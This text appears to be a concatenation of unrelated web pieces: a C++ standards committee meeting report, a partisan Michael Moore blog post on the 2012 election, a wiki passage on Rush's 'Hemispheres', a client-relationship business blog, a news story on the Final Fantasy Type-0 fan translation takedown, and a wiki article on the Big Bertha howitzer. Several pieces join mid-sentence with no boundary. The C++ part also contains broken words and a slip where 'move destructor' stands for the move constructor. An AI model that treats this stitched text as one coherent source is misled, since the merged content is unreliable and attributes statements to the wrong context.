If the problem is serious or pervasive, or hard to fix, then we might pull it out. While I am not saying that Concepts fall in this category and had these issues, it was one of the candidate that was pulled out. Some would argue that rvalue reference also is one of those, but in some cases, you might find that removing something can be more problematic then leaving something in surrounded by a scaffold of fixes. We will describe some of that scaffolding next.
Some bugs may be found to affect legacy code negatively, and may require a difficult choice of disabling from being available in the default mode, or reducing its wide ranging affect on legacy code through a narrowing of its effects. Again, not saying this is the problem, but Implicit Move Constructors were ones that had potential to break legacy C++ code, and it was decided that its effect should be narrowed, although many also argue for it to be pulled from the default mode by disabling implicit move constructor and move assignment operator generation, and let the user write them manually or use "=default" to request the generated version. Specifically, we will tighten the conditions for generating implicit moves. This revises the rules for when to generate a move constructor or move assignment operator so that if a user declares any of the standard member functions, the move destructor or move assignment operator is not generated. (That's only an approximation; see the paper for the precise rules.) That avoids implicit generation of move functions in some cases where that could break exception guarantees in existing code. The rules for the generated copy constructor and copy assignment operator are changed to mirror the rules for the move case by making the implicit generation deprecated in some cases. That avoids changing the semantics of existing code but allows compilers to start warning that classes should be changed to the new model where if you declare any of the standard special members you should not expect the others to be generated for you.
Other bugs may be the result of an unanticipated interaction between a new feature and existing state which offers an opportunity for lightening the user's burden. The implicit declaration of noexcept(true) in destructors and deletes offers one such opportunity which while it sounds like good software engineering, have the potential now to break some user code on the edge. However, its soundness overrides most concerns and this was accepted. On destructors with no explicit exception specification, the exception specification that would have been determined for a generated destructor is used. That is a refinement of the proposal of last time that all destructors simply get noexcept(true) by default. The new rule considers the destructors of all bases and members in determining the default; if any base or member has a pote ntia lly- thro wing destructor, the declared destructor gets noexcept(false). SImilarly, we will make all deallocation functions (operator delete) noexcept(true) by default.. Specifically, generated destructors will merge the specification from its parents, so if the parents don't throw, then the child will not. This is now done implicitly for user destructors. Note that this is viral and as soon as any destructor throws, you will go all the way through. And when it throws it will terminate
Another class of bug is the interoperability of your code with other software. Atomics between C and C++ became just such a poster child as it became uncertain whether you could write a line of C atomics and it would mean the same thing or even compile in the same way in C++. C1x which will go to its first Committee draft soon, has chosen to use its own productive syntax (using keyword _Atomic). The application has some issues in compatibility in that not all atomic operations, mutexes are compatible between C and C++. This makes any attempt to paper over the differences inside a common header using a macro which redirects to C syntax if it is a C file, and redirects to a C++ syntax if it is a C++ file, problematic. In the end, it was decided to not assume any compatibility, and leave in a state similar to C++'s Complex classes and C's _Complex type, until we know for sure how C will approach it.
Finally, it is possible the existence of new features mean that your code might now require even more user intervention to actually take advantage of it. Such could be the example of implicitly deduced noexcept specifications, which could be onerous to write. But in this case the creation of a new feature (to deduce the noexcept specification) at this late stage was deemed to be more of a problem then what it solved. So the committee chose not to move ahead, although there is reasonable expectation that the feature would be revived in future ratification.
All the the solutions are needed to ensure that the Standard features works well with each other and with legacy code. This kind of fixes at the integration stage is common in software delivery and is no different here in the late stages of C++ Standard ratification. But it is a good idea to look through and understand which problems are the most serious and require immediate action, which feature need to be pulled out to give it more baked in time, or which needs to be enhanced, or which needs to be left alone because we all agree to accept the risk.
These are actions and risks all software developers, release managers, and large projects are familiar with. In the end, we think the user will get the best compromise, although you may not agree with this. Some have asked if the number of defects, churns and fixes means we should not ship, or delay the shipping of this standard. Let me say that the committee plans to address all NB comments as they did in the last Committee draft and this resulted in a significantly improved specification. This will happen with the FCD before it goes to the Final Draft International Standard (FDIS) in March 2011. At that time, the Standard will still have defects, and as long as they are not major and pervasive, we can move forward with dealing with them. Please comment if you feel otherwise, but look forward to the true birth of the new C++ Standard in 2011 if all goes well.
In this meeting, Bjarne Stroustrup opined that "The Atomics have become unstable at Fermilab".. Of course, Fermilab is a wonderful place, where one of the first sub-atomic particle, the top-quark was discovered. The architecture of this facility stands out uniquely with pi-shaped main building, telephone poles, and Archimedean spiral pumping stations. Much of the facility is opened to public visit. The main mission of the Lab is one of keen interest to our future and that is the search for Dark matter, Dark Energy which of course can decide the fate of the Universe. In my past life as an astrophysicist, these were question which were of keen interest, but now surprisingly still captures my imagination.Our mission, though somewhat less grand then the fate of cosmology, was to decide what to do about several controversial matters which were well known and well summarized in Anthony Williams blog:http"There's good reason why the Right is terrified of a Second Term Obama because that is exactly what they think he'll do: the real Obama will appear and take us down the road to social justice and tolerance and a leveling of the economic playing field."
Portrait, Michael Moore, 04/03/09. (photo: Ann-Christine Poujoulat/Getty)
How to Prevent "President Romney"
By Michael Moore, Open Mike Blog
n two months we Americans will go to the polls once again to decide who the president will be for the next four years. We will not be allowed to vote on those who wield the true power in this country. On November 6th we will not vote for the chairman of ExxonMobil or JPMorgan Chase or Citibank or the Premier of China. That day will come, but not this year.
Now, I know there are a goodly number of you out there who believe there's not a snowball's chance in Kenya that Barack Obama will not be re-elected to the White House. And why would you believe otherwise? After the incredible Democratic convention this week, with the best rock-em-sock-em speeches I've heard from a Democrat's mouth since … since, I don't know when. You can't help but not have a contact high after this past week if you are of the sort who believes in economic justice, peace, and a five-dollar latte. Right now, with the buzz on, you are sitting there thinking that your fellow Americans will turn out in massive numbers, either because they want to continue the Obama era or because they're scared shitless of the barbarians at the gate - or both. You're convinced that the Republicans have blown it with all their talk of the lady parts they want to control even though we now know that they have no idea where those parts are, what they are, or how they work.
Yes, it certainly looks like the voters will reject this obscenely wealthy man called Romney — Romney of Michigan/Massachusetts/New Hampshire/Utah/Zurich/Grand Cayman — this man who will not explain exactly how all his wealth was obtained, where he keeps it, or how much taxes he pays on it. He wants to turn the clock back to the '50s - the 1850s - and he refuses to offer any specific plan about what he'll do about anything. He wants to run the country like a corporation but he can't even control one 82-year-old actor on his own convention stage, a Hollywood legend who, in the matter of ten and a half minutes went from Good (walking onto the stage) to Bad (talking to a chair) and then to Ugly (the chair started … swearing?). It was better than the best cat-flushing-the-toilet video on YouTube and it was a gift to all of us who know that Romney is doomed come November.
Or is he?
Last week, I said on the HuffPost Live webcast that we had all better start practicing how to say "President Romney" because, living in Michigan, I can tell you that there's trouble here on the two peninsulas and it's not just because Romney is a native son or that we like to watch kids from Cranbrook chase down gay kids and chop their hair off. One recent poll here showed Romney leading Obama by four points! How can that be? Didn't Obama save Detroit?
No, he didn't. He saved General Motors and Chrysler. "Detroit" (and Flint and Pontiac and Saginaw) are not defined by the global corporations who suck our towns dry and then split town to make more money elsewhere (except, of course, they continued to design and built crap cars, so eventually they didn't make the money at all). These cities in Michigan are about the people who live here, and in the process of "saving Detroit," Mr. Obama had to fire thousands of these people, and reduce the benefits and pensions of those who were left. There's a lot of pissed off people in Michigan (and Wisconsin and Ohio), people who weren't saved even though the corporation was. I'm just stating a fact, and those of you who don't live here should know this.
The other problem facing us this election (spoiler alert - angry white guys may want to stop reading right now) … is race. We all fear there's probably a good 40% of the country who simply do not want a black man in the Oval Office. In fact, in 2008, Obama lost the white vote. He lost every white age group except young people (18-29). And yet he still won by 10 million votes! The optimistic secret the Obama people know is that only about 70% of the voters in November will be white. So if he can win just 35-40% of them, and then get a massive majority of people of color, he can win re-election. There is no question in my mind that Obama is more popular than Romney and if everyone could vote from their couch like they do for American Idol, Obama would win hands down. As I have said before, we live in a liberal country. The majority of Americans (who do not call themselves "liberal") now support most of the liberal agenda - they're for gay marriage, they're pro-choice, they're anti-war, they believe there's global warming, and they hate Wall Street for what it has done to them and their neighbors. The Republicans know this: that we, the majority, will have sex when we want and with whom we want, will read and watch whatever we want when we want, will use marijuana if we want and if we don't want to then we certainly don't want our friends who do to be throw into prison. We are sick and tired of being poisoned, by chemicals or propaganda, we think the Palestinians have been given a raw deal and we want our friggin' jobs back! The Christian Right (and their Wall Street funders) know this all too well - America has turned, and there's no going back to not loving someone because of the color of their skin or expecting women to cede control of their bodies to a bunch of Neanderthals. So, what's a Rightie to do now that we've turned the joint into Sodom and G? They have to suppress the vote! They have to stop as many liberals from voting as possible. So they've passed many voter suppression laws to make it hard for the poor, the minorities, the disabled and students to vote. They honestly believe they can pull this off - and they just may. The only "positive" thing about this is that their need to have such laws in order to win the election is an admission on the part of the Republicans that they know the U.S. Is a liberal country and that the only way they can now win now is to cheat. Trust me, if they believed that America was a right-wing country they'd be passing laws making it so easy to vote you could do it in the checkout line at Walmart.
But the voting on November 6th will not take place at Walmart or on any potato's couch. It can only happen by going to a polling place - and, not to state the obvious, the side that gets the most people physically out to the polls that day, wins. We know the Republicans are spending tens of millions of dollars to make sure this very thing happens. They have built a colossal get-out-the-vote machine for election day, and the sheer force of their tsunami of hate stands ready to overwhelm us like nothing we've ever seen before. Those of us in the Midwest got a taste of it in 2008. Traditionally Democratic states - all of which voted for Obama - saw our state legislatures and governor seats hijacked by this well-oiled machine. We didn't know what hit us, but these new Republicans wasted no time in dismantling some of the very basic thing we hold dear. Wisconsin fought back - but even that huge grassroots uprising was not enough to stop the governor bought and paid for by the Koch brothers. It was a wake up call, for sure - but have we really woken up?
It's been a great week in Charlotte, and I'm getting ready now to watch Barack Obama give his speech. It's OK for us to take a couple days to high-five each other, but I cannot stress enough to you that unless you and I are doing something every day for the next 60 days to get people out to vote, then there is a chance we will all be saying "President Romney" come January. Don't think it can't happen. Hate, sad to say, at least in America these days, is a far greater motivator than love and feelin' groovy.
For those of us who believe that the history of the Democrats and the Republicans is to do the bidding of the 1% (Obama's #1 private contributor in '08 were the people at Goldman Sachs), and that while the Dems are a kinder/gentler bunch, they are also just as quick to want to take us to war and sell us out to the corporate interests (and, yes, Obamacare is a $$ gift to the insurance companies; only a single-payer system will stop that), this election is a bit of a bitter pill. We were hugely disappointed when President Obama didn't charge out of the gate after his inauguration and undo the damage that had been done (as FDR did in his first hundred days) - and only when Wall Street stopped writing him the big campaign checks this past year did he get his mojo back and start fighting the fight that needs to be fought. He's a good and decent person (when he's not sending in drones to kill Pakistani civilians or prosecuting government whistleblowers), and his election four years ago was a high point of such emotional intensity I just couldn't get over how hopeful I was that this country had changed and we had found our moral footing. Reality set in a few weeks later when he put Tim Geithner and Larry Summers in charge of economic policy and then he changed his mind about closing Gitmo.
OK, so people like me, just once in our lifetime, would like to get our way all the time! Is that too much to ask? Of course, there is a different question that is in the air now — shall we give the country back to the crowd who gave the country to the 1%? I think not. So let's join |
This section includes the highest note sung by Geddy Lee on any studio album (Bb5 at 9:27). The song fades out with a repeated chord sequence-which returns at 11:56 in Book II-along with the sound of a beating heart.[3]
Book II: Hemispheres [ edit ]
"Prelude" This section contains several themes heard later in the song, similar to the "Overture" in "2112."
"Apollo: Bringer of Wisdom" Apollo, the Greek god of the sun and the arts, represents the left hemisphere. 'Left-brainers' are often logical thinkers, adept at mathematics.
"Dionysus: Bringer of Love" Dionysus, the Greek god of wine and fertility, represents the right hemisphere. He stood for uninhibited desire in Nietzsche's Birth of Tragedy and Human, All Too Human and was the opposite of Apollo. 'Right-brainers' are more common than 'left-brainers,' and include people who are artistic and sensitive.
"Armageddon: The Battle of Heart and Mind" The title is reference to the Biblical war, but in this case Apollo and Dionysus pull man in opposite directions, toward Order or Chaos, respectively. The debate between classical and romantic (Apollonian and Dionysian) cultures is ongoing. The left stereo channel switches to the right for dramatic effect when Lee sings the word 'hemispheres'.
"Cygnus: Bringer of Balance" The chords played at the end of The Voyage return here. The explorer from The Voyage is frightened by the fighting and, after hearing the explorer's silent cry of terror, Apollo and Dionysus stop fighting and dub him Cygnus, god of Balance.
"The Sphere: A Kind of Dream" Jane Austen's novel Sense and Sensibility may be alluded to in the last few lines of the song.[4]
Live performances [ edit ]
Rush performed the cycle (Book I followed by Book II) on the Hemispheres Tour and the Permanent Waves Tour. The band also played it on the Permanent Waves Warmup Tour, with the absence of Parts 2 (Apollo: Bringer of Wisdom) and 3 (Dionysus: Bringer of Love) from Book II. Book II: Prelude made a final appearance on the Counterparts Tour. Since then, an abbreviated version of book one was occasionally played live with only the instrumental section, as seen on Rush in Rio and R30. Occasionally, the "Prelude" from Book II was also performed. During the 2010-11 Time Machine Tour, the band played part of Book I at the conclusion of the final song, "Working Man." During the 2015 R40 Tour, the "Prelude" section from Book II was played, but tuned a step down to accommodate Geddy Lee's vocal range, which has decreased with age. The Prologue and part 3 of Book I were played immediately after as instrumentals, with a drum solo by Neil Peart ("The Story So Far") as an interlude.
See also [ edit ]by
Lego created a customer for life when they gave a 10-year-old boy with Asperger’s Syndrome the Lego set of his dreams. It was a simple gesture that had an amazing impact and generated a ton of goodwill from a little boy. Businesses large and small should take measures to have meaningful and long-term client relationships. Here’s how to do so in 5 easy steps:
1. Network. Network. Network.
You must network anytime and anywhere, and not just at networking events. You must always be networking. It isn’t restricted to professional contacts; you should include friends, family and especially acquaintances. Why acquaintances? According to Reid Hoffman, they expand the breadth of your network. Acquaintances expose you to opportunities that you likely would not have learned about since they communicate in different circles than your own. Essentially, they widen your net. The best vehicle for this is social networking on LinkedIn. Go for quality relationships, not quantity and remember to the be the first to reciprocate – be selfless and connect your contacts. They will remember the goodwill gesture and karma will pay you back sooner than you think. Also, by building your network, you get more visibility into organizations, often times with multiple contacts within each client’s company. If you get your contacts talking to each other about how great you are, you benefit by remaining top-of-mind and by getting positive referrals, which increase your pipeline and credibility.
2. Communicate Clearly, Frequently and Transparently
Your clients are busy. Make their lives easier by communicating with them concisely and clearly. Keep them apprised of progress regularly. Act as a true ally, or business partner – be flexible, quick to respond to their requests with solutions that take their long-term goals into account. No one likes a know-it-all; when you’re unsure of something let your client know that you will verify the answer and get back to them. With money on the line, it’s always better to be sure about an answer than to bluff. Also, when something goes wrong, be the first one to admit it. It will build trust and allow the client to see how you respond when the chips are down (cape & tights are optional). How else can you show them your ability to go above and beyond the call of duty?
3. Love Your Client
Yes, I wrote it – love your client. The first time I heard that concept (from In Treatment, an HBO original series) – I thought it was odd. Apparently, in order for a therapist (psychiatrist, psychoanalyst, psychologist, take your pick) to effectively treat their “client”, the therapist must love them on some level. Then I thought about how much I cared about my clients and realized that I love them too. Not romantically, but I sincerely care about what is going on in their worlds, both personally and professionally. In order to go the extra mile time and time again, you gotta love ‘em. It’s one thing to be professional and make notes about birthdays and their kids’ names. It’s a whole other thing when you don’t need to because you have made a real connection with them – they can tell when you sincerely care. At HTC I’m very fortunate to sincerely love my clients. On some big projects, it has felt like we’ve gone through a war together (no disrespect to those who serve) and a special bond was forged. Other clients are such a pleasure to work with, that I invited them to my wedding and felt like I made a personal connection with them. Those are the clients that I’m even prepared to go to war for.
4. Keep in Touch
If you can’t make the time to call your clients every 3 months, they might not be your clients for long. Stay in contact and you’ll stay top-of-mind. A low cost and extremely effective alternative is to take advantage of email marketing. Remember, it’s easier (read less expensive) to sell to an existing customer than a new one. That means nurturing the relationship is more profitable than creating a new one. Show your appreciation and excitement by thanking them a few days after a purchase and keep the excitement level up for all parties.
5. Do Something Amazing
Lego gave away building blocks to build a client relationship; a seemingly small gesture to most, however it meant the world to the customer in question. If you haven’t done so already, learn your customer’s pain points and identify things you can do to help. It could be a matter of offering advice, sharing resources or providing superiour customer service.
The Bottom Line About Building Client Relationships
I’m a firm believer that work should be fun, even when burning the midnight oil. In my opinion, having strong client relationships makes everything from negotiations to getting referrals a lot easier. After all, if you’ve done a good job nurturing the relationship, your client would be happy to send more business your way; you’ve earned it.Last week, the creators of an unofficial English translation for the role-playing game Final Fantasy Type-0 announced that they were taking down the patch and all blog posts associated with it.
"Unfortunately I'm forced to remove my posts and pages related to the popular Final Fantasy Type-0 fan translation project," wrote the project lead, who goes by the handle SkyBladeCloud. "That's right, [publisher Square Enix] thinks that threats and false accusations are the way to treat its biggest fans."
For many gamers and media outlets across the web, the narrative became simple: big bad corporation comes out of nowhere to step on hardworking fans. But the story of Final Fantasy Type-0's fan translation—which I've been following for months now—is far more nuanced, full of drama both external and internal. Square Enix has been engaged in conversations with the fan translation team for quite some time now, according to team members. And not everyone on the team is happy with how the patch was released—or how this story seems to be ending.
Final Fantasy Type-0, a PSP spinoff in Square's ubiquitous series, was first announced at E3 in 2006. When it finally came out in Japan during the fall of 2011, the PSP was on its last legs in North America, and though Square had been preparing to release the game in English, they changed those plans for business reasons, according to people familiar with the project. By 2012, Square had shelved a near-complete localization that included an English script and voice recording work, various people have told me, speaking anonymously because they were not authorized to talk about the game.
But Square never talked about those plans publicly, leaving western Final Fantasy fans in dismay as they wondered whether they'd ever get to play Type-0. So when SkyBladeCloud and his team of translators and programmers announced in mid-2012 that they were working on a patch for the game, people were thrilled. If Square Enix wasn't going to release the game in English, well, hey, at least we could all still play it.
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Over the next two years, Square stayed silent about the fate of Type-0 in the west. Though Square's executives would occasionally drop vague hints about the game in interviews, there was no concrete news, and the few times I did ask Square about the game, they sent over non-answers like "we have nothing to announce at this time." Meanwhile, the fan translation team kept plugging away, and at the time, project lead SkyBladeCloud said he wasn't concerned about legal repercussions.
"I'm not worried since I live in Spain and different laws apply," Sky told me in an e-mail earlier this year.
In March, the team announced that work was almost complete on the translation patch, and they had a final release date: August 8, 2014, almost three years after Type-0 came out in Japan. Not long after that announcement, Square Enix representatives reached out to the fan translation team, warning them that the company intended to protect its copyrights, and asking the team if they'd like to talk further about mutual solutions that would leave both parties happy.
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The Square representative asked Sky to sign an NDA, and they talked extensively over the next few weeks, though Sky could not tell me anything about those conversations or even acknowledge that they had happened. It's my understanding that from Square Enix's end, the conversations were friendly and casual, and representatives for the publisher saw legal action as a last resort.
Meanwhile, other members of the translation team—who say they've spent a combined thousands of hours on the Type-0 project—speculated that Square was reaching out because they had a big announcement to make. They talked about how they would proceed if Square did announce a western release of Type-0—and they discussed the possibility of not releasing the patch at all, to avoid potentially hurting sales if the game did come here.
Soon that would all go out the window. In early June, Sky suddenly announced that they were releasing two months early, and that the patch would be available on Sunday, June 8—the day before E3. The patch was immediately popular, Sky said—he estimates that it got 100,000 downloads in four days—and fans were ecstatic to finally get to play Type-0 in English.
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But the rest of the team wasn't happy about this. Some of the writers felt like the patch shouldn't have been released yet—they needed more time for edits, polish, and bug squashing.
"The patch was far from ready and we still had some videos to translate and some more text to proofread," said Adam, one of the team's writers. "We also hadn't fully played through the game after all of our updates. Sky was the one who pushed for the August release date even though most of us felt like it was unrealistic."
Here's an excerpt from one Skype conversation among the team:
[6/7/2014 12:50:13 PM] Adam: Sky just tweeted for everyone to expect a release today or tomorrow though [6/7/2014 1:21:24 PM] Core: Sky, the rest of the team agreed to wait until after E3. Why are you tweeting about releasing the patch? [6/7/2014 2:46:14 PM] Merkabah: Yeah, that's extremely not cool [6/7/2014 2:46:38 PM] Merkabah: kind of feel like you're just using all of our hard work to try to stick it to SE [6/7/2014 2:49:35 PM] Merkabah: I figured this was a team effort, especially since I've been putting in 12-hour days for the last two weeks that maybe my opinion would have some sort of bearing on how all of my work ends up being used [6/7/2014 3:09:05 PM] Hakurou (TJ): well this is interesting
"Then Sky didn't log onto Skype, answer emails, or answer tweets from us until about 8pm," Adam said. "After that Core, Merkabah, and I gave Sky a piece of our minds. Sky accused us of holding the translation hostage and that he thought it was 'good enough' back in February. He really had low expectations."
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"Most of us, however, are pretty big Final Fantasy fans and had high expectations for the quality of the translation," Adam said.
In the coming days and weeks, this decision would fracture the group, and members of the fan translation project have described a rift between them and Sky that led to a number of angry conversations and even some team members quitting.
"I went ahead and released it without the consent of the whole team," Sky told me a few weeks ago, when I asked what had happened. "I'm not proud of that, but I think it was the right thing to do in that situation, to release it, to let the fans have what we were working on before the official announcement."
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On Tuesday, June 10, Square dropped a bombshell of their own: Type-0 would be coming west, not for handheld systems but as a high-definition remake for the Xbox One and PlayStation 4. (A consequent Vita announcement flub left a bad taste in some fans' mouths, and led many of them back toward the fan translation patch.)
The sequence of events has led some gamers to speculate that Sky found out about Square's announcement and released the patch to preempt them, but Sky says it was just a guess. In fact, he believes that Square's announcement was actually just a reaction to them releasing the unofficial patch.
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"I had no information about any E3 announcement," he told me. "Note that it wasn't an actual E3 announcement, but a press release. This, added to the fact that the trailer had no actual game footage (or music, for that matter), and [the Vita announcement mix-up], makes me think this was something completely improvised."
It's unclear just how much Sky knew before E3—neither he nor Square Enix would talk at all about their conversations—but the timing was certainly strange, no matter who was reacting to whom.
Within the next few weeks, Square Enix started sending legal requests to Sky, and they eventually asked him to take down the patch, which he did. He has also removed all blog posts connected to the Type-0 translation, other than the one that's currently up:
You know I normally use blog posts for relevant information only, such as project announcements or releases. However, I'm sorry this time it'll be a little bit different: Unfortunately I'm forced to remove my posts and pages related to the popular Final Fantasy Type-0 fan translation project. That's right, certain game company thinks that threats and false accusations are the way to treat its biggest fans. For the time being I can't answer questions related to this matter, but I'll write a more comprehensive post about all this once I get the chance. I hope you understand, and as always I appreciate your support (that I might need more that ever in the near future). Thank you very much: ~Sky
A representative for Square Enix declined to comment on this story.The 42 cm kurze Marinekanone 14 L/12[a] (light naval cannon), or Minenwerfer-Gerät (M-Gerät), popularly known by the nickname Big Bertha, was a German siege howitzer built by Krupp AG and fielded by the Imperial German Army from 1914 to 1918. The M-Gerät had a 42-centimetre (17 in) calibre barrel, making it one of the largest artillery pieces ever fielded. It was first designed in 1911 and entered production the next year. Test firing began in early 1914, and the gun was estimated to be finished by October. When World War I broke out, the two available M-Gerät guns, still prototypes, were sent to Liège and destroyed Forts Pontisse and Loncin. German soldiers bestowed the gun with the nickname "Big Bertha," which then spread through German newspapers to the Allies, who used it as a nickname for all superheavy German artillery. The Paris Gun, used in 1918 after all Big Berthas had been removed from service, has historically been confused for the M-Gerät.
Due to losses from faulty ammunition and Allied counter-battery artillery, a smaller-calibre (30.5-centimetre (12.0 in)) gun called the Beta-M-Gerät was built and fielded from 1916 until the end of the war. It had a longer and heavier barrel that was mated to the M-Gerät's carriage, but was found to be less effective than the base gun.
Development and design [ edit ]
The quick advancement of artillery technology beginning in the 1850s provoked an arms race between artillery and military architecture. Rifled artillery could now fire out of range of fortress guns, so military architects began placing forts in rings around cities or in barriers to block approaching armies. These forts were vulnerable to new artillery shells, which could penetrate earth to destroy masonry underground. In response, star forts evolved into polygonal forts, mostly underground and made of concrete with guns mounted in armoured, rotating casemates. Combining rings and barriers, France created a vast fortified zone on their border with Germany, while Belgium began construction of the National Redoubt in 1888.[1][2]
The German Empire also fortified its borders, but Chief of the General Staff Helmuth von Moltke the Elder desired the ability to break through Franco-Belgian fortifications.[3] Although German artillery had been effective during the Franco-Prussian War, it had been allowed to stagnate. By the 1880s the barrel diameter of the German Army's most powerful gun, the 21-centimetre (8.3 in) field howitzer, was no longer adequate against fortresses. Moltke began requesting more powerful guns that same decade. More powerful artillery became essential to his successor, Alfred von Schlieffen, who planned to quickly defeat France by sweeping through Belgium in response to the 1893 Franco-Russian Alliance. To be able to reduce French and Belgian fortresses, the Artillerieprüfungskommission [de] (Artillery Test Commission, APK) formed a partnership with Krupp AG in 1893. The first result of this partnership was a 30.5 cm (12.0 in) mortar, accepted into service four years later and designated the schwerer Küstenmörser L/8, or the Beta-Gerät, to disguise its purpose as a siege gun.[b][6] Tests in the mid-1890s showed that the Beta-Gerät could not destroy French or Belgian forts, even with improved shells. Interest in a more powerful siege gun waned until the Russo-Japanese War, during which the Japanese Army used 28 cm (11 in) coastal guns brought from Japan to end the 11-month long Siege of Port Arthur.[7]
In 1906, Helmuth von Moltke the Younger became Chief of the General Staff and instructed the APK to study and improve the performance of the Beta-Gerät. The APK recommended a more powerful gun, perhaps as large as 45 cm (18 in), but the Germany Army opted for a 30.5 cm howitzer, the Beta-Gerät 09, and a 42 cm (17 in) gun. Design and testing for the Gamma-Gerät began in 1906 and lasted until 1911. Although the Gamma-Gerät had the destructive power the General Staff required and could outrange French and Belgian fort guns, it could only be emplaced near rail lines and took 24 hours to fully prepare.[8][c] As early as 1907, Krupp began development of siege artillery transported by gun carriage. Testing resulted in a 28 cm (11 in) howitzer transportable over road and countryside, but it was rejected by the APK, as was Krupp's 30.5 cm model. Finally, in Autumn 1911, Krupp and the APK developed a wheeled 42 cm howitzer, which was designated the 42 cm kurze Marinekanone 14 L/12, or Minenwerfer-Gerät (M-Gerät). The APK ordered its first M-Gerät in July 1912 and another in February 1913. Tests of the gun's mobility began in December 1913 and found that gasoline tractors were best for pulling the M-Gerät. Test firing, at one point observed personally by Kaiser Wilhelm II, began in February 1914, and Krupp estimated that the M-Gerät would be fully completed by October 1914.[10]
Design and production [ edit ]
The M-Gerät weighed 42 metric tons (42 t), had a maximum range of 9,300 metres (10,200 yd), and a maximum barrel elevation of 65°. The gun stood 4.5 m (14 ft 9 in) tall, 10 m (32 ft 10 in) long, and 4.7 m (15 ft 5 in) wide, while the barrel itself was 5.04 m (16 ft 6 in) long. The M-Gerät was two-thirds the weight of the Gamma-Gerät, but had 30% less range and was less accurate. This reduction in weight was accomplished by shrinking the Gamma's barrel and thinning its walls, while installing a simpler sliding-wedge breech. The five wagons that a disassembled M-Gerät (each designed to hold a specific load) took up could not be pulled by horses or tractors, as they weighed 16–20 metric tons (16–20 t). To pull the wagons, gas-powered tractors were designed by Podeus that could move the guns at 7 km/h (4.3 mph) under optimal circumstances. To move across open country, the wagon wheels were fitted with articulations called Radgürteln to reduce their ground pressure. When fully emplaced, the howitzer was stabilised by steel platforms under the wheels and its spade, driven into the earth, which could also turn the gun. The spade would have to be pulled out of the ground to traverse past its 4° radius. Post-prototype M-Gerät guns had a crew platform in front of the blast shield, a detachable breech, and solid wheels. The APK ordered the first M-Gerät in July 1912, delivered the following December, and a second in February 1913. Another two guns were ordered before the First World War on 31 July 1914, and then two more on 28 August and yet another pair on 11 November. Krupp built a total of 12 M-Gerät howitzers.[11]
The 30.5 cm Beta-M-Gerät, designated the schwere Kartaune L/30, was developed in late 1917 to replace M-Gerät guns that had been rendered inoperable by premature detonation of shells. To increase the range of the M-Gerät and lower the likelihood of premature detonation, the APK selected a 9-metre-long (29 ft 6 in), 16-metric-ton (16 t) naval barrel to be mounted onto the chassis of the M-Gerät. Two large spring cylinders were added to the front of the gun to counterbalance the new barrel, which had to be carried in a new carriage weighing 22 t (22 t). Fully assembled, the Beta-M-Gerät weighed 47 t (47 t) and had a maximum range of 20,500 metres (22,400 yd). The propellant used to achieve that range caused three of the four Beta-M-Gerät guns to explode, forcing their crews to limit its range by 4,000 metres (4,400 yd), defeating the purpose of the longer L/30 barrel. Only four Beta-M-Gerät guns were modified from two M-Gerät guns and two Gamma-Gerät guns (a one to two-month-long process per gun), but 12 L/30 barrels were built.[12]
"Gerät" siege artillery variants[13] Name Calibre Weight Range Rate of fire Time to emplace (hours) M-Gerät "Big Bertha" 42 cm (17 in) 42.6 t (41.9 long tons; 47.0 short tons) 9,300 m (30,511 ft 10 in) 8 shells an hour 5–6 Gamma-Gerät 150 t (150 long tons; 170 short tons) 14,000 m (15,000 yd) 24 Beta-M-Gerät 30.5 cm (12.0 in) 47 t (46 long tons; 52 short tons) 20,500 m (22,400 yd) 7–8 Beta-Gerät 09 45 t (44 long tons; 50 short tons) 12,000 m (13,000 yd) 12 shells an hour 12 Beta-Gerät 30 t (30 long tons; 33 short tons) 8,200 m (9,000 yd) 15 shells an hour
Ammunition [ edit ]
German siege artillery had three types of projectiles: Panzergranate (armour-piercing), Langgranate (high explosive), and kurze Haubengranate (intermediate). The armour-piercing shell was designed to smash through concrete and metal armour but was largely ineffective against reinforced concrete. High explosive shells were fitted with two charges and could be set to have no delay or a short or a long delay. If set to "no delay," then the shell burst on impact. 42 cm high explosive shell craters could be as wide as 9 m (29 ft 6 in) and as deep as 6 m (19 ft 8 in). If set to a delayed detonation, it could penetrate up to 12 m (39 ft 4 in) of earth. Finally, the intermediate, or "short shell," weighed half as much as the high explosive shell and was fitted with a ballistic tip for range and accuracy. 42 cm shells were generally 1.5 m (4 ft 11 in) long, weighed between 400–1,160 kg (880–2,560 lb), and were propelled via primer loaded into the gun in a brass casing. Siege artillery shells were produced in limited runs, ensuring a gradient in their quality. Beginning in early 1916, German siege guns began to suffer premature detonations due to faulty ammunition. As a result, crews were required to disembark from the gun before firing.[14]
Service history [ edit ]
The kurze Marinekanone (KMK) Batteries that formed with M-Gerät guns were 3 (2 August 1914), 5 (June 1915), 6 (Summer 1915), and 7 (early 1916). Battery 3 was split in half in April 1916 to form 10 with a single M-Gerät each. The four Beta-M-Gerät guns produced were fielded by KMK Batteries 8 and 10 after their M-Gerät gun barrels had been destroyed by premature detonation.[d] When the German Army was reorganised in late 1918, only Battery 5 had M-Gerät guns, and schwere Küstenmörser (SKM) Battery 3 was assigned the remaining two Beta-M-Gerät guns.[15]
Western Front [ edit ]
By June 1914, the prototype M-Gerät howitzers had returned to Essen for final adjustments and would have been formed into a reserve artillery battery on completion in October.[e] On 2 August 1914, they were organised into KMK Battery 3 and sent to the Western Front with 240 men.[17] On 4 August, the German 1st Army arrived near Liège, the first target of the Schlieffen Plan, and began the Battle of Liège. Although German troops entered the city on 7 August, its forts were firing upon the road to be taken by the 2nd Army and had to be reduced. Heavy artillery began their attack on 8 August.[18] KMK Battery 3 was the first siege battery sent into battle to bombard the Fort de Pontisse on 12 August, which surrendered after two days. The battery next moved to the Fort de Liers but the fort surrendered as the battery was emplacing. KMK Battery 3 relocated to the Fort de Loncin,[19] where Gérard Leman directed the defence of Liège.[20] Firing commenced on 15 August and lasted two hours, as the 25th shot fired struck a magazine, destroying the fort in the ensuing explosion.[19] The Germans carried Leman, unconscious, out of Loncin, and the last two forts, Hollogne and Flémalle, capitulated on 16 August.[21]
With Liège captured, the 1st Army continued northwest while the 2nd and 3rd Armies marched to Namur, whose forts were undermanned, unmaintained, and poorly stocked with ammunition. The 2nd Army arrived on 20 August 1914 to open the Siege of Namur, but began their main attacks the following day with 400 pieces of artillery.[22] KMK Battery 3 fired upon the Fort de Marchovelette, which was destroyed on 23 August by a magazine explosion. The battery shifted its fire to the Fort de Maizeret, already under attack by four Austro-Hungarian Skoda 30.5 cm guns, and compelled its surrender.[23] With the eastern forts occupied, the Germans entered Namur itself and the remaining Belgian forces evacuated from the city.[22]
A ruined cupola at one of the Maubeuge forts, 1914
